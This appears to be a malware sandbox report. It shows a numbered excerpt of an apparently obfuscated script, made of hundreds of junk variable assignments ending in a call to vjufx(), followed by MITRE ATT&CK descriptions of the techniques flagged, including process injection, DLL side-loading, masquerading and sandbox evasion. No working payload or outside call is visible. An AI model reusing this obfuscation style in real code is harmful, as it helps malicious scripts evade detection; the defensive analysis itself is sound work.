578	iporwk = "l";
579	iporwk = "H";
580	iporwk = "W";
581	iporwk = "d";
582	iporwk = "g";
583	iporwk = "j";
584	iporwk = "o";
585	iporwk = "v";
586	iporwk = "F";
587	iporwk = "i";
588	iporwk = "f";
589	iporwk = "s";
590	iporwk = "h";
591	iporwk = "t";
592	iporwk = "o";
593	iporwk = "E";
594	iporwk = "S";
595	iporwk = "i";
596	iporwk = "o";
597	iporwk = "G";
598	iporwk = "h";
599	iporwk = "4";
600	wfjit = "y";
601	wfjit = "f";
602	wfjit = "z";
603	wfjit = "b";
604	wfjit = "X";
605	wfjit = "H";
606	wfjit = "c";
607	wfjit = "A";
608	wfjit = "E";
609	wfjit = "S";
610	wfjit = "E";
611	wfjit = "N";
612	wfjit = "h";
613	wfjit = "J";
614	wfjit = "c";
615	wfjit = "O";
616	lmfnkub = "n";
617	lmfnkub = "A";
618	lmfnkub = "X";
619	lmfnkub = "Q";
620	lmfnkub = "J";
621	lmfnkub = "l";
622	ebnadlvjf = "K";
623	ebnadlvjf = "U";
624	ahoaw = "S";
625	ahoaw = "b";
626	ahoaw = "p";
627	ahoaw = "Q";
628	ahoaw = "Q";
629	ahoaw = "D";
630	ahoaw = "o";
631	ahoaw = "Q";
632	ahoaw = "d";
633	ahoaw = "w";
634	ahoaw = "s";
635	ahoaw = "T";
636	ahoaw = "l";
637	ahoaw = "y";
638	ahoaw = "d";
639	ahoaw = "r";
640	ahoaw = "N";
641	ahoaw = "m";
642	ahoaw = "K";
643	ahoaw = "g";
644	ahoaw = "M";
645	ahoaw = "v";
646	ahoaw = "w";
647	ahoaw = "V";
648	ahoaw = "r";
649	ahoaw = "d";
650	ahoaw = "l";
651	ahoaw = "o";
652	ahoaw = "h";
653	ahoaw = "Q";
654	ahoaw = "S";
655	lczti = "g";
656	lczti = "U";
657	lczti = "I";
658	lczti = "u";
659	lczti = "s";
660	lczti = "F";
661	lczti = "W";
662	lczti = "t";
663	lczti = "F";
664	lczti = "z";
665	lczti = "x";
666	lczti = "s";
667	lczti = "N";
668	lczti = "f";
669	lczti = "U";
670	lczti = "W";
671	lczti = "x";
672	lczti = "v";
673	lczti = "y";
674	lczti = "v";
675	lczti = "l";
676	lczti = "v";
677	lczti = "q";
678	lczti = "b";
679	lczti = "b";
680	lczti = "Q";
681	lczti = "e";
682	lczti = "X";
683	lczti = "r";
684	lczti = "u";
685	lczti = "N";
686	lczti = "H";
687	lczti = "o";
688	lczti = "A";
689	lczti = "W";
690	myukxe = "C";
691	myukxe = "o";
692	myukxe = "2";
693	ngimf = "x";
694	ngimf = "k";
695	ngimf = "i";
696	ngimf = "m";
697	ngimf = "c";
698	ngimf = "X";
699	ngimf = "P";
700	ngimf = "X";
701	ngimf = "b";
702	ngimf = "A";
703	ngimf = "X";
704	ngimf = "t";
705	ngimf = "T";
706	ngimf = "z";
707	ngimf = "C";
708	ngimf = "a";
709	ngimf = "D";
710	ngimf = "D";
711	ngimf = "x";
712	ngimf = "F";
713	ngimf = "t";
714	ngimf = "Z";
715	ngimf = "T";
716	ngimf = "Z";
717	ngimf = "S";
718	ngimf = "N";
719	ngimf = "F";
720	ngimf = "t";
721	ngimf = "u";
722	ngimf = "R";
723	ngimf = "u";
724	ngimf = "l";
725	ngimf = "S";
726	ngimf = "L";
727	ngimf = "s";
728	ngimf = "t";
729	ngimf = "L";
730	ngimf = "I";
731	ngimf = "u";
732	ngimf = "j";
733	ngimf = "E";
734	drqdkjxb = "Y";
735	drqdkjxb = "h";
736	drqdkjxb = "q";
737	drqdkjxb = "c";
738	drqdkjxb = "e";
739	drqdkjxb = "W";
740	drqdkjxb = "L";
741	drqdkjxb = "i";
742	drqdkjxb = "N";
743	drqdkjxb = "a";
744	drqdkjxb = "v";
745	drqdkjxb = "O";
746	drqdkjxb = "R";
747	drqdkjxb = "U";
748	drqdkjxb = "C";
749	drqdkjxb = "l";
750	drqdkjxb = "Z";
751	drqdkjxb = "c";
752	drqdkjxb = "U";
753	drqdkjxb = "h";
754	drqdkjxb = "E";
755	drqdkjxb = "p";
756	drqdkjxb = "l";
757	drqdkjxb = "a";
758	drqdkjxb = "C";
759	drqdkjxb = "N";
760	drqdkjxb = "K";
761	drqdkjxb = "y";
762	drqdkjxb = "R";
763	drqdkjxb = "e";
764	drqdkjxb = "Y";
765	drqdkjxb = "Z";
766	drqdkjxb = "X";
767	drqdkjxb = "x";
768	drqdkjxb = "R";
769	plsnhequ = "N";
770	plsnhequ = "Z";
771	plsnhequ = "m";
772	plsnhequ = "z";
773	plsnhequ = "U";
774	plsnhequ = "e";
775	plsnhequ = "P";
776	plsnhequ = "Z";
777	plsnhequ = "q";
778	plsnhequ = "T";
779	plsnhequ = "P";
780	plsnhequ = "Y";
781	plsnhequ = "F";
782	plsnhequ = "p";
783	plsnhequ = "U";
784	plsnhequ = "p";
785	plsnhequ = "i";
786	plsnhequ = "c";
787	plsnhequ = "K";
788	plsnhequ = "T";
789	plsnhequ = "d";
790	plsnhequ = "z";
791	plsnhequ = "8";
792	ygbox = "C";
793	ygbox = "I";
794	ygbox = "E";
795	ygbox = "j";
796	ygbox = "j";
797	ygbox = "I";
798	ygbox = "n";
799	ygbox = "e";
800	ygbox = "x";
801	ygbox = "c";
802	ygbox = "Q";
803	ygbox = "c";
804	ygbox = "S";
805	ygbox = "K";
806	ygbox = "B";
807	ygbox = "G";
808	ygbox = "I";
809	ygbox = "X";
810	ygbox = "H";
811	ygbox = "u";
812	ygbox = "i";
813	ygbox = "P";
814	ygbox = "N";
815	ygbox = "l";
816	ygbox = "B";
817	ygbox = "Q";
818	ygbox = "I";
819	ygbox = "y";
820	ygbox = "l";
821	ygbox = "C";
822	ygbox = "u";
823	ygbox = "l";
824	ygbox = "P";
825	ygbox = "e";
826	ygbox = "B";
827	ygbox = "P";
828	ygbox = "V";
829	ygbox = "C";
830	bxabljbdh = "N";
831	bxabljbdh = "i";
832	bxabljbdh = "Z";
833	bxabljbdh = "O";
834	bxabljbdh = "j";
835	bxabljbdh = "j";
836	bxabljbdh = "O";
837	bxabljbdh = "n";
838	bxabljbdh = "L";
839	bxabljbdh = "v";
840	bxabljbdh = "Z";
841	bxabljbdh = "c";
842	bxabljbdh = "l";
843	bxabljbdh = "F";
844	bxabljbdh = "r";
845	bxabljbdh = "L";
846	bxabljbdh = "p";
847	aaqpea = "K";
848	aaqpea = "O";
849	aaqpea = "H";
850	aaqpea = "i";
851	aaqpea = "t";
852	aaqpea = "K";
853	aaqpea = "m";
854	aaqpea = "i";
855	aaqpea = "o";
856	aaqpea = "m";
857	aaqpea = "r";
858	aaqpea = "e";
859	aaqpea = "o";
860	yoxgucf = "c";
861	yoxgucf = "q";
862	yoxgucf = "y";
863	yoxgucf = "o";
864	yoxgucf = "u";
865	yoxgucf = "I";
866	yoxgucf = "C";
867	yoxgucf = "g";
868	yoxgucf = "d";
869	yoxgucf = "H";
870	eibifay = "m";
871	eibifay = "S";
872	eibifay = "d";
873	eibifay = "_";
874	rsypvkwee = "o";
875	rsypvkwee = "d";
876	rsypvkwee = "D";
877	rsypvkwee = "Y";
878	rsypvkwee = "q";
879	rsypvkwee = "k";
880	rsypvkwee = "f";
881	rsypvkwee = "h";
882	rsypvkwee = "a";
883	rsypvkwee = "A";
884	rsypvkwee = "T";
885	rsypvkwee = "L";
886	rsypvkwee = "k";
887	rsypvkwee = "p";
888	rsypvkwee = "p";
889	rsypvkwee = "f";
890	rsypvkwee = "U";
891	rsypvkwee = "N";
892	rsypvkwee = "S";
893	rsypvkwee = "U";
894	rsypvkwee = "k";
895	rsypvkwee = "Q";
896	rsypvkwee = "E";
897	rsypvkwee = "x";
898	rsypvkwee = "i";
899	rsypvkwee = "H";
900	rsypvkwee = "N";
901	rsypvkwee = "T";
902	rsypvkwee = "G";
903	rsypvkwee = "S";
904	rsypvkwee = "t";
905	rsypvkwee = "z";
906	rsypvkwee = "1";
907	uelawmspb = "c";
908	uelawmspb = "e";
909	uelawmspb = "K";
910	uelawmspb = "k";
911	uelawmspb = "J";
912	uelawmspb = "u";
913	uelawmspb = "e";
914	uelawmspb = "N";
915	uelawmspb = "R";
916	uelawmspb = "W";
917	uelawmspb = "R";
918	uelawmspb = "M";
919	uelawmspb = "D";
920	uelawmspb = "s";
921	uelawmspb = "Y";
922	uelawmspb = "L";
923	uelawmspb = "N";
924	uelawmspb = "g";
925	uelawmspb = "h";
926	uelawmspb = "N";
927	uelawmspb = "n";
928	uelawmspb = "V";
929	uelawmspb = "f";
930	uelawmspb = "z";
931	uelawmspb = "C";
932	uelawmspb = "j";
933	uelawmspb = "O";
934	uelawmspb = "H";
935	uelawmspb = "G";
936	uelawmspb = "P";
937	uelawmspb = "L";
938	uelawmspb = "E";
939	uelawmspb = "k";
940	uelawmspb = "Y";
941	uelawmspb = "q";
942	uelawmspb = "s";
943	uelawmspb = "B";
944	uelawmspb = "d";
945	uelawmspb = "C";
946	uelawmspb = "E";
947	uelawmspb = "Y";
948	uelawmspb = ":";
949	xxpoap = "v";
950	xxpoap = "F";
951	xxpoap = "T";
952	xxpoap = "P";
953	xxpoap = "x";
954	xxpoap = "N";
955	xxpoap = "Z";
956	xxpoap = "X";
957	xxpoap = "l";
958	xxpoap = "w";
959	xxpoap = "b";
960	xxpoap = "U";
961	xxpoap = "b";
962	xxpoap = "b";
963	xxpoap = "Y";
964	xxpoap = "Q";
965	xxpoap = "Q";
966	xxpoap = "j";
967	xxpoap = "O";
968	xxpoap = "Y";
969	xxpoap = "l";
970	xxpoap = "r";
971	xxpoap = "Y";
972	xxpoap = "n";
973	xxpoap = "s";
974	xxpoap = "r";
975	xxpoap = "h";
976	xmwingo = "e";
977	xmwingo = "C";
978	xmwingo = "V";
979	xmwingo = "w";
980	xmwingo = "h";
981	xmwingo = "r";
982	xmwingo = "l";
983	xmwingo = "C";
984	xmwingo = "D";
985	xmwingo = "b";
986	xmwingo = "p";
987	xmwingo = "u";
988	xmwingo = "d";
989	xmwingo = "Z";
990	xmwingo = "V";
991	xmwingo = "q";
992	xmwingo = "d";
993	xmwingo = "q";
994	xmwingo = "N";
995	xmwingo = "F";
996	xmwingo = "U";
997	xmwingo = "C";
998	xmwingo = "Y";
999	rlnbuicyg = "p";
1000	rlnbuicyg = "v";
1001	rlnbuicyg = "M";
1002	rlnbuicyg = "A";
1003	rlnbuicyg = "y";
1004	rlnbuicyg = "L";
1005	tlime = "H";
1006	tlime = "t";
1007	tlime = "r";
1008	tlime = "i";
1009	tlime = "I";
1010	tlime = "x";
1011	tlime = "o";
1012	tlime = "i";
1013	tlime = "Q";
1014	tlime = "O";
1015	tlime = "d";
1016	tlime = "o";
1017	tlime = "g";
1018	tlime = " ";
1019	lqxnoxe = "s";
1020	lqxnoxe = "o";
1021	lqxnoxe = "x";
1022	lqxnoxe = "M";
1023	lqxnoxe = "s";
1024	lqxnoxe = "c";
1025	lqxnoxe = "z";
1026	lqxnoxe = "J";
1027	lqxnoxe = "I";
1028	lqxnoxe = "Y";
1029	lqxnoxe = "h";
1030	lqxnoxe = "m";
1031	ksajtnelq = "T";
1032	ksajtnelq = "r";
1033	ksajtnelq = "f";
1034	ksajtnelq = "J";
1035	ksajtnelq = "l";
1036	ksajtnelq = "z";
1037	ksajtnelq = "I";
1038	ksajtnelq = "S";
1039	ksajtnelq = "T";
1040	ksajtnelq = "P";
1041	ksajtnelq = "I";
1042	ksajtnelq = "g";
1043	ksajtnelq = "j";
1044	ksajtnelq = "z";
1045	ksajtnelq = "Z";
1046	ksajtnelq = "H";
1047	ksajtnelq = "k";
1048	ksajtnelq = "P";
1049	ksajtnelq = "E";
1050	ksajtnelq = "N";
1051	ksajtnelq = "P";
1052	ksajtnelq = "C";
1053	ksajtnelq = "m";
1054	ksajtnelq = "z";
1055	ksajtnelq = "V";
1056	ksajtnelq = "N";
1057	ksajtnelq = "i";
1058	ksajtnelq = "c";
1059	ksajtnelq = "u";
1060	ksajtnelq = "g";
1061	ksajtnelq = "t";
1062	ksajtnelq = "w";
1063	ksajtnelq = "s";
1064	ksajtnelq = "i";
1065	ksajtnelq = "d";
1066	ksajtnelq = "i";
1067	ksajtnelq = "e";
1068	ksajtnelq = "y";
1069	ksajtnelq = "R";
1070	ksajtnelq = "X";
1071	ksajtnelq = "I";
1072	ksajtnelq = "Z";
1073	ksajtnelq = "m";
1074	ksajtnelq = "Q";
1075	xwwmauk = "c";
1076	xwwmauk = "Y";
1077	xwwmauk = "f";
1078	xwwmauk = "z";
1079	xwwmauk = "N";
1080	xwwmauk = "F";
1081	xwwmauk = "a";
1082	xwwmauk = "r";
1083	xwwmauk = "6";
1084	rmqiwwor = "a";
1085	rmqiwwor = "f";
1086	rmqiwwor = "M";
1087	rmqiwwor = "T";
1088	rmqiwwor = "e";
1089	rmqiwwor = "n";
1090	rmqiwwor = "N";
1091	rmqiwwor = "E";
1092	rmqiwwor = "u";
1093	rmqiwwor = "C";
1094	rmqiwwor = "W";
1095	rmqiwwor = "f";
1096	rmqiwwor = "v";
1097	rmqiwwor = "E";
1098	rmqiwwor = "L";
1099	rmqiwwor = "y";
1100	rmqiwwor = "S";
1101	rmqiwwor = "K";
1102	rmqiwwor = "Y";
1103	rmqiwwor = "p";
1104	rmqiwwor = "M";
1105	rmqiwwor = "x";
1106	rmqiwwor = "J";
1107	rmqiwwor = "m";
1108	rmqiwwor = "x";
1109	rmqiwwor = "L";
1110	rmqiwwor = "Q";
1111	rmqiwwor = "Y";
1112	rmqiwwor = "K";
1113	rmqiwwor = "M";
1114	rmqiwwor = "A";
1115	rmqiwwor = "G";
1116	rmqiwwor = "M";
1117	rmqiwwor = "C";
1118	rmqiwwor = "v";
1119	rmqiwwor = "Z";
1120	rmqiwwor = "n";
1121	rmqiwwor = "L";
1122	rmqiwwor = "0";
1123	bfckswufo = "K";
1124	bfckswufo = "w";
1125	bfckswufo = "c";
1126	bfckswufo = "n";
1127	bfckswufo = "o";
1128	bfckswufo = "W";
1129	bfckswufo = "U";
1130	bfckswufo = "A";
1131	bfckswufo = "r";
1132	bfckswufo = "p";
1133	bfckswufo = "z";
1134	bfckswufo = "5";
1135	jfjwsaafx = "k";
1136	jfjwsaafx = "X";
1137	jfjwsaafx = "q";
1138	jfjwsaafx = "b";
1139	jfjwsaafx = "J";
1140	jfjwsaafx = "d";
1141	jfjwsaafx = "h";
1142	jfjwsaafx = "x";
1143	zebrc = "t";
1144	zebrc = "x";
1145	zebrc = "q";
1146	zebrc = "K";
1147	zebrc = "i";
1148	zebrc = "A";
1149	zebrc = "m";
1150	zebrc = "Y";
1151	zebrc = "N";
1152	zebrc = "A";
1153	zebrc = "q";
1154	zebrc = "H";
1155	zebrc = "i";
1156	zebrc = "J";
1157	zebrc = "m";
1158	zebrc = "m";
1159	zebrc = "L";
1160	zebrc = "t";
1161	zebrc = "x";
1162	zebrc = "G";
1163	zebrc = "D";
1164	zebrc = "B";
1165	zebrc = "f";
1166	zebrc = "r";
1167	zebrc = "L";
1168	zebrc = "k";
1169	zebrc = "t";
1170	zebrc = "M";
1171	zebrc = "q";
1172	zebrc = "R";
1173	zebrc = "V";
1174	zebrc = "Z";
1175	zebrc = "F";
1176	zebrc = "G";
1177	zebrc = "O";
1178	zebrc = "D";
1179	zebrc = "Y";
1180	zebrc = "A";
1181	zebrc = "u";
1182	vkygxu = "h";
1183	vkygxu = "g";
1184	vkygxu = "X";
1185	vkygxu = "Q";
1186	vkygxu = "c";
1187	vkygxu = "T";
1188	vkygxu = "m";
1189	vkygxu = "E";
1190	vkygxu = "B";
1191	vkygxu = "k";
1192	vkygxu = "h";
1193	vkygxu = "F";
1194	vkygxu = "b";
1195	vkygxu = "p";
1196	vkygxu = "F";
1197	vkygxu = "X";
1198	vkygxu = "X";
1199	vkygxu = "f";
1200	vkygxu = "Q";
1201	vkygxu = "r";
1202	vkygxu = "a";
1203	vkygxu = "X";
1204	vkygxu = "M";
1205	vkygxu = "M";
1206	vkygxu = "s";
1207	vkygxu = "g";
1208	vkygxu = "N";
1209	vkygxu = "O";
1210	vkygxu = "h";
1211	vkygxu = "f";
1212	urmxp = "E";
1213	urmxp = "a";
1214	urmxp = "S";
1215	urmxp = "P";
1216	urmxp = "D";
1217	urmxp = "i";
1218	urmxp = "F";
1219	urmxp = "l";
1220	urmxp = "R";
1221	urmxp = "L";
1222	urmxp = "H";
1223	urmxp = "g";
1224	urmxp = "b";
1225	urmxp = "a";
1226	urmxp = "Y";
1227	urmxp = "P";
1228	urmxp = "Z";
1229	urmxp = "E";
1230	urmxp = "t";
1231	urmxp = "D";
1232	urmxp = "J";
1233	urmxp = "c";
1234	urmxp = "T";
1235	urmxp = "K";
1236	urmxp = "V";
1237	urmxp = "X";
1238	urmxp = "R";
1239	urmxp = "h";
1240	urmxp = "f";
1241	urmxp = "Y";
1242	urmxp = "j";
1243	urmxp = "I";
1244	urmxp = "s";
1245	urmxp = "c";
1246	urmxp = "r";
1247	urmxp = "Q";
1248	urmxp = "J";
1249	urmxp = "r";
1250	urmxp = "E";
1251	urmxp = "k";
1252	zuwdfyrno = "g";
1253	zuwdfyrno = "P";
1254	zuwdfyrno = "p";
1255	zuwdfyrno = "h";
1256	zuwdfyrno = "t";
1257	zuwdfyrno = "o";
1258	zuwdfyrno = "E";
1259	zuwdfyrno = "H";
1260	zuwdfyrno = "J";
1261	zuwdfyrno = "q";
1262	zuwdfyrno = "R";
1263	zuwdfyrno = "u";
1264	zuwdfyrno = "L";
1265	zuwdfyrno = "R";
1266	zuwdfyrno = "l";
1267	zuwdfyrno = "F";
1268	zuwdfyrno = "p";
1269	zuwdfyrno = "f";
1270	zuwdfyrno = "x";
1271	zuwdfyrno = "J";
1272	zuwdfyrno = "N";
1273	zuwdfyrno = "U";
1274	zuwdfyrno = "Z";
1275	zuwdfyrno = "O";
1276	zuwdfyrno = "s";
1277	zuwdfyrno = "h";
1278	zuwdfyrno = "K";
1279	zuwdfyrno = "d";
1280	zuwdfyrno = "n";
1281	zuwdfyrno = "i";
1282	zuwdfyrno = "r";
1283	zuwdfyrno = "E";
1284	zuwdfyrno = "j";
1285	zuwdfyrno = "v";
1286	zuwdfyrno = "I";
1287	zuwdfyrno = "W";
1288	zuwdfyrno = "u";
1289	zuwdfyrno = "c";
1290	zuwdfyrno = "X";
1291	zuwdfyrno = "z";
1292	zuwdfyrno = "a";
1293	vhxxbjec = "P";
1294	vhxxbjec = "Y";
1295	vhxxbjec = "z";
1296	vhxxbjec = "O";
1297	vhxxbjec = "C";
1298	vhxxbjec = "B";
1299	vhxxbjec = "E";
1300	vhxxbjec = "d";
1301	vhxxbjec = "G";
1302	vhxxbjec = "m";
1303	vhxxbjec = "e";
1304	vhxxbjec = "b";
1305	vhxxbjec = "s";
1306	rtedlsq = "P";
1307	rtedlsq = "n";
1308	rtedlsq = "w";
1309	rtedlsq = "r";
1310	rtedlsq = "S";
1311	rtedlsq = "L";
1312	rtedlsq = "L";
1313	rtedlsq = "Y";
1314	rtedlsq = "D";
1315	rtedlsq = "q";
1316	rtedlsq = "J";
1317	rtedlsq = "p";
1318	rtedlsq = "M";
1319	rtedlsq = "H";
1320	rtedlsq = "a";
1321	rtedlsq = "A";
1322	rtedlsq = "o";
1323	rtedlsq = "Y";
1324	rtedlsq = "d";
1325	rtedlsq = "O";
1326	rtedlsq = "F";
1327	rtedlsq = "F";
1328	rtedlsq = "E";
1329	rtedlsq = "X";
1330	rtedlsq = "E";
1331	rtedlsq = "y";
1332	rtedlsq = "Z";
1333	rtedlsq = "n";
1334	rtedlsq = "q";
1335	rtedlsq = "c";
1336	rtedlsq = "K";
1337	rtedlsq = "H";
1338	rtedlsq = "X";
1339	rtedlsq = "t";
1340	rtedlsq = "Q";
1341	rtedlsq = "-";
1342	drmyt = "l";
1343	drmyt = "y";
1344	drmyt = "Y";
1345	drmyt = "s";
1346	drmyt = "o";
1347	drmyt = "T";
1348	drmyt = "p";
1349	drmyt = "t";
1350	drmyt = "m";
1351	drmyt = "b";
1352	drmyt = "E";
1353	drmyt = "X";
1354	drmyt = "R";
1355	drmyt = "I";
1356	drmyt = "I";
1357	drmyt = "i";
1358	drmyt = "R";
1359	drmyt = "F";
1360	drmyt = "K";
1361	drmyt = "z";
1362	drmyt = "y";
1363	drmyt = "x";
1364	drmyt = "n";
1365	drmyt = "K";
1366	drmyt = "m";
1367	drmyt = "q";
1368	drmyt = "a";
1369	drmyt = "D";
1370	drmyt = "b";
1371	drmyt = "p";
1372	drmyt = "a";
1373	drmyt = "a";
1374	drmyt = "s";
1375	drmyt = "P";
1376	drmyt = "F";
1377	drmyt = "S";
1378	drmyt = "P";
1379	jgstvbnak = "J";
1380	jgstvbnak = "g";
1381	jgstvbnak = "B";
1382	jgstvbnak = "z";
1383	jgstvbnak = "s";
1384	jgstvbnak = "r";
1385	jgstvbnak = "O";
1386	jgstvbnak = "g";
1387	jgstvbnak = "P";
1388	jgstvbnak = "j";
1389	jgstvbnak = "P";
1390	jgstvbnak = "b";
1391	jgstvbnak = "H";
1392	jgstvbnak = "w";
1393	jgstvbnak = "R";
1394	jgstvbnak = "N";
1395	jgstvbnak = "B";
1396	jgstvbnak = "m";
1397	jgstvbnak = "a";
1398	jgstvbnak = "n";
1399	jgstvbnak = "L";
1400	jgstvbnak = "N";
1401	jgstvbnak = "l";
1402	jgstvbnak = "p";
1403	jgstvbnak = "s";
1404	jgstvbnak = "m";
1405	jgstvbnak = "Z";
1406	jgstvbnak = "N";
1407	jgstvbnak = "S";
1408	jgstvbnak = "W";
1409	jgstvbnak = "s";
1410	jgstvbnak = "w";
1411	jgstvbnak = "V";
1412	jgstvbnak = "i";
1413	jgstvbnak = "s";
1414	jgstvbnak = "U";
1415	jgstvbnak = "f";
1416	jgstvbnak = "L";
1417	jgstvbnak = "V";
1418	jgstvbnak = "O";
1419	jgstvbnak = "M";
1420	jgstvbnak = "R";
1421	jgstvbnak = "L";
1422	jgstvbnak = "\\";
1423	iovcexrd = "l";
1424	iovcexrd = "g";
1425	iovcexrd = "b";
1426	iovcexrd = "X";
1427	iovcexrd = "M";
1428	iovcexrd = "w";
1429	iovcexrd = "J";
1430	iovcexrd = "A";
1431	iovcexrd = "t";
1432	iovcexrd = "T";
1433	iovcexrd = "Y";
1434	iovcexrd = "A";
1435	iovcexrd = "f";
1436	iovcexrd = "g";
1437	iovcexrd = "G";
1438	iovcexrd = "G";
1439	iovcexrd = "h";
1440	iovcexrd = "d";
1441	iovcexrd = "v";
1442	iovcexrd = "R";
1443	iovcexrd = "Z";
1444	iovcexrd = "S";
1445	iovcexrd = "T";
1446	szvcsw = "S";
1447	szvcsw = "w";
1448	szvcsw = "u";
1449	szvcsw = "a";
1450	szvcsw = "L";
1451	szvcsw = "W";
1452	szvcsw = "O";
1453	szvcsw = "C";
1454	szvcsw = "i";
1455	szvcsw = "j";
1456	szvcsw = "F";
1457	szvcsw = "s";
1458	szvcsw = "x";
1459	szvcsw = "g";
1460	szvcsw = "o";
1461	szvcsw = "X";
1462	szvcsw = "H";
1463	szvcsw = "v";
1464	szvcsw = "l";
1465	szvcsw = "c";
1466	szvcsw = "f";
1467	szvcsw = "q";
1468	szvcsw = "m";
1469	szvcsw = "u";
1470	szvcsw = "W";
1471	szvcsw = "C";
1472	szvcsw = "M";
1473	szvcsw = "U";
1474	szvcsw = "H";
1475	szvcsw = "Q";
1476	szvcsw = "H";
1477	szvcsw = "z";
1478	szvcsw = "g";
1479	szvcsw = "y";
1480	szvcsw = "g";
1481	szvcsw = "N";
1482	vjufx ( );	vjufx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

